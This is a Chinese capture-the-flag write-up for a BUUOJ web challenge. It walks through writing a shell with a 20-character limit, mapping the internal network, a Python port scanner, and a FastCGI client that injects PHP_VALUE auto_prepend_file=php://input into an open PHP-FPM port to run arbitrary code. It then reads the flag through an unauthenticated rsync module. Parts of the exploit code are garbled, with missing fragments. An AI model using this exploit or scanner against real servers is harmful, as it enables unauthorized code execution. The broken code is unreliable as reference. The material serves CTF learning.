刷题记录:ctf473831530_2018_web_virink_web

2021-04-23 15:26

阅读:792

标签:数据   auto   put   get   cgi   oca   set   html   leave   

目录

  • 刷题记录:ctf473831530_2018_web_virink_web
  • 知识点
    • 限制字符数量写shell
    • 内网探测
    • PHP-FPM未授权访问漏洞
    • rsync未授权访问漏洞

刷题记录:ctf473831530_2018_web_virink_web

题目复现链接:https://buuoj.cn/challenges
参考链接:BUUOJ刷题-Web-ctf473831530_2018_web_virink_web

知识点

限制字符数量写shell

仅用20个字符想完成后面复杂的操作肯定是不可能的,这里可以使用>filename+ls -tr>1.sh的方法写shell,也可以直接echo "xxx">1.php

内网探测

首先查看/proc/net/fib_trie

Main:
  +-- 0.0.0.0/0 2 0 2
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /32 link BROADCAST
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 173.165.232.0/24 2 0 2
        +-- 173.165.232.0/28 2 0 2
           |-- 173.165.232.0
              /32 link BROADCAST
              /24 link UNICAST
           |-- 173.165.232.9
              /32 host LOCAL
        |-- 173.165.232.255
           /32 link BROADCAST
Local:
  +-- 0.0.0.0/0 2 0 2
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /32 link BROADCAST
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 173.165.232.0/24 2 0 2
        +-- 173.165.232.0/28 2 0 2
           |-- 173.165.232.0
              /32 link BROADCAST
              /24 link UNICAST
           |-- 173.165.232.9
              /32 host LOCAL
        |-- 173.165.232.255
           /32 link BROADCAST

可以看出来本机ip为173.165.232.9,然后可以扫描内网。
扫描内网可以用php脚本,这道题中说明了可以使用python3,这里附上Tiaonmmn师傅写的python3扫描端口脚本

import socket

def foo():
    with open('active_port.txt','at') as f:
        for i in range(65535+1):
            ip = '172.64.152.4'
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip,i))
                s.close()
                f.writelines(str(i)+'\n')
            except socket.error:
                pass
        f.close()
    pass

if __name__ == '__main__':
    foo()
    print('ok')

发现173.165.232.10开发80,873,9000端口

PHP-FPM未授权访问漏洞

参考Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
简单来说就是如果靶机开放PHP-FPM端口(默认为9000),我们可以伪造FastCGI协议与之进行通信,同时设置auto_prepend_filephp://inputallow_url_include = On
利用条件:

  • PHP-FPM端口开放
  • 找到一个已存在的PHP文件的绝对路径

膜拜一下P神的代码

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION)                + bchr(fcgi_type)                + bchr((requestid >> 8) & 0xFF)                + bchr(requestid & 0xFF)                + bchr((length >> 8) & 0xFF)                + bchr(length & 0xFF)                + bchr(0)                + bchr(0)                + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen > 24) | 0x80)                       + bchr((nLen >> 16) & 0xFF)                       + bchr((nLen >> 8) & 0xFF)                       + bchr(nLen & 0xFF)
        if vLen > 24) | 0x80)                       + bchr((vLen >> 16) & 0xFF)                       + bchr((vLen >> 8) & 0xFF)                       + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) ')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

至此,我们已经可以在内网机器上执行任意命令

rsync未授权访问漏洞

首先了解rsync是什么,参考第2章 rsync(一):基本命令和用法
简单来说rsync是可以实现增量备份的工具,默认端口为873

rsync可以实现scp的远程拷贝(rsync不支持远程到远程的拷贝,但scp支持)、cp的本地拷贝、rm删除和"ls -l"显示文件列表等功能

这里要关注的是rsync daemon模式

rsync daemon是向外提供服务的,这样只要告诉了别人rsync的url路径,外人就能向ftp服务器一样获取文件列表并进行选择性地下载

所以我们可以利用这一点获取rsync允许访问目录下的文件。

rsync daemon是"rsync --daemon"或再加上其他一些选项启动的,它会读取配置文件,默认是/etc/rsyncd.conf,并默认监听在873端口上,当外界有客户端对此端口发起连接请求,通过这个网络套接字就可以完成连接,以后与该客户端通信的所有数据都通过该网络套接字传输。

查看/etc/rsyncd.conf

# https://github.com/vulhub/vulhub/tree/master/rsync/common

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/nginx/rsyncd.log

[src]
path = /
comment = src path
read only = yes

# For this
hosts allow = 127.0.0.1

定义了模块src,路径中包含flag,
那么可以使用命令rsync 127.0.0.1::src/7h1s_i5_f14g /tmp/将flag备份出来

刷题记录:ctf473831530_2018_web_virink_web

标签:数据   auto   put   get   cgi   oca   set   html   leave   

原文地址:https://www.cnblogs.com/20175211lyz/p/12239018.html


评论


亲,登录后才可以留言!